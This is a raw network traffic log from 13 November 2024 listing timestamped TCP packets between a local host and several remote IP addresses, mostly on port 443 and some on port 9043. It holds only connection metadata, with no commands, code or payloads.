Nov 13, 2024 18:22:29.900275946 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:29.900602102 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.904067993 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.904079914 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:29.904346943 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:29.904483080 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.905036926 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:29.947325945 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:30.516241074 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:30.516349077 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:30.516386986 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:30.516522884 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:30.516535997 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:30.516649961 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:30.516956091 CET	50026	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:30.516987085 CET	443	50026	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:30.521950960 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:30.522027969 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:30.522160053 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:30.522279978 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:30.522308111 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:31.429574966 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:31.429651022 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:31.430171013 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:31.430177927 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:31.431536913 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:31.431545973 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:32.213699102 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:32.213819981 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:32.213906050 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:32.214178085 CET	50027	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:32.214190006 CET	443	50027	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:32.220221043 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:32.220272064 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:32.220524073 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:32.220658064 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:32.220668077 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.096364021 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.096565008 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:33.096863985 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:33.096875906 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.098644972 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:33.098649025 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.591828108 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.592051983 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.592109919 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:33.594532013 CET	50028	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:33.594548941 CET	443	50028	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:33.623991013 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:33.624044895 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:33.624169111 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:33.624456882 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:33.624473095 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:34.186034918 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:34.217191935 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:34.217291117 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:34.217955112 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:34.222768068 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:34.499955893 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:34.500030041 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:34.500380039 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:34.500391960 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:34.501517057 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:34.501523972 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:35.036689997 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:35.036761999 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:35.036794901 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:35.036811113 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:35.036848068 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:35.037055016 CET	50030	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:35.037070990 CET	443	50030	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:35.048564911 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.048600912 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.048701048 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.048904896 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.048917055 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.049762011 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.049827099 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.049976110 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.049985886 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.050021887 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.050039053 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.050476074 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.050517082 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.052728891 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.061479092 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.298417091 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.298490047 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.299046993 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:35.303873062 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:35.568980932 CET	9043	49982	87.120.37.120	192.168.2.6
Nov 13, 2024 18:22:35.569055080 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:22:35.673002005 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.673100948 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.673914909 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.673943996 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.677917004 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.677931070 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.939100981 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.939385891 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:35.941931963 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.961921930 CET	50032	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:35.961970091 CET	443	50032	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:36.254595995 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:36.254709959 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:36.254795074 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:36.255219936 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:36.255255938 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:37.181051016 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:37.181142092 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:37.181679010 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:37.181710005 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:37.183084011 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:37.183096886 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:38.000612020 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:38.000694990 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:38.000935078 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:38.001130104 CET	50033	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:38.001173973 CET	443	50033	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:38.020538092 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:38.020593882 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:38.021020889 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:38.021220922 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:38.021260023 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:39.892889977 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:39.892991066 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:39.894412994 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:39.894412994 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:39.894427061 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:39.894443035 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:40.402298927 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:40.402398109 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:40.406055927 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:40.409913063 CET	50034	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:40.409933090 CET	443	50034	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:40.411183119 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:40.411230087 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:40.411654949 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:40.413258076 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:40.413269997 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:40.752651930 CET	9043	50031	45.143.166.230	192.168.2.6
Nov 13, 2024 18:22:40.752721071 CET	50031	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:22:41.066098928 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.066185951 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.066591978 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.066622972 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.067725897 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.067739964 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.538914919 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.538990974 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.539025068 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.539043903 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.539073944 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.539100885 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.539328098 CET	50035	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:41.539346933 CET	443	50035	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:41.549479961 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:41.549527884 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:41.549596071 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:41.550067902 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:41.550084114 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:42.477971077 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:42.478082895 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:42.479048014 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:42.479057074 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:42.480173111 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:42.480179071 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:43.207357883 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:43.207463026 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:43.207526922 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:43.207526922 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:43.207752943 CET	50036	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:43.207773924 CET	443	50036	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:43.214493990 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:43.214543104 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:43.214606047 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:43.214900017 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:43.214914083 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.267925978 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.268059015 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:44.268418074 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:44.268450022 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.269514084 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:44.269534111 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.578226089 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.578330994 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.578433037 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:44.578677893 CET	50037	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:44.578726053 CET	443	50037	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:44.597457886 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:44.597511053 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:44.597598076 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:44.597882032 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:44.597898960 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:45.547837019 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:45.547936916 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:45.548500061 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:45.548511982 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:45.550651073 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:45.550656080 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:46.331461906 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:46.331665039 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:46.331686020 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:46.331784010 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:46.332000971 CET	50038	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:46.332022905 CET	443	50038	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:46.349912882 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:46.349965096 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:46.354187012 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:46.354187012 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:46.354238033 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.040776968 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.040842056 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.041533947 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.041542053 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.043083906 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.043090105 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.532372952 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.532442093 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.532478094 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.532496929 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.532521963 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.532556057 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.532819033 CET	50039	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:47.532835960 CET	443	50039	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:47.549412966 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:47.549465895 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:47.549523115 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:47.549784899 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:47.549797058 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.238787889 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.238909006 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.239341974 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.239353895 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.240502119 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.240509033 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.610758066 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.610847950 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.610867023 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.610910892 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.610925913 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.610972881 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.610979080 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.611010075 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.611067057 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.611113071 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.611134052 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.611150980 CET	443	50040	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:48.611160994 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.611195087 CET	50040	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:48.617043018 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:48.617099047 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:48.617157936 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:48.617336988 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:48.617363930 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:49.532360077 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:49.532459021 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:49.532937050 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:49.532943964 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:49.534308910 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:49.534313917 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:50.363044024 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:50.363121033 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:50.363154888 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:50.363225937 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:50.363231897 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:50.363284111 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:50.363293886 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:50.363329887 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:50.363436937 CET	50041	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:50.363455057 CET	443	50041	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:50.376527071 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:50.376632929 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:50.376728058 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:50.377007008 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:50.377034903 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.299691916 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.299787998 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.300364971 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.300395012 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.301704884 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.301718950 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.794297934 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.794368029 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.794409990 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.794481993 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.794488907 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.794533014 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.794554949 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.794615030 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.794686079 CET	50042	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:51.794704914 CET	443	50042	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:51.802530050 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:51.802565098 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:51.802714109 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:51.802947044 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:51.802963972 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.433990955 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.434082031 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.434499979 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.434508085 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.435683012 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.435692072 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.732003927 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.732070923 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.732109070 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.732131004 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.732152939 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.732170105 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.732446909 CET	50043	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:52.732464075 CET	443	50043	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:52.752118111 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:52.752171040 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:52.752249002 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:52.752446890 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:52.752458096 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:53.735749960 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:53.735863924 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:53.736234903 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:53.736264944 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:53.737382889 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:53.737396002 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:54.254024982 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:54.254120111 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:54.254192114 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:54.254260063 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:54.254266024 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:54.254333019 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:54.254442930 CET	50044	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:22:54.254475117 CET	443	50044	104.21.92.105	192.168.2.6
Nov 13, 2024 18:22:54.259107113 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:54.259155989 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:54.259290934 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:54.259464979 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:54.259474039 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:55.150851965 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:55.151098013 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:55.151447058 CET	50045	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:22:55.151458025 CET	443	50045	104.21.15.162	192.168.2.6
Nov 13, 2024 18:22:55.152837038 CET	50045	443	192.168.2.6	104.21.15.162
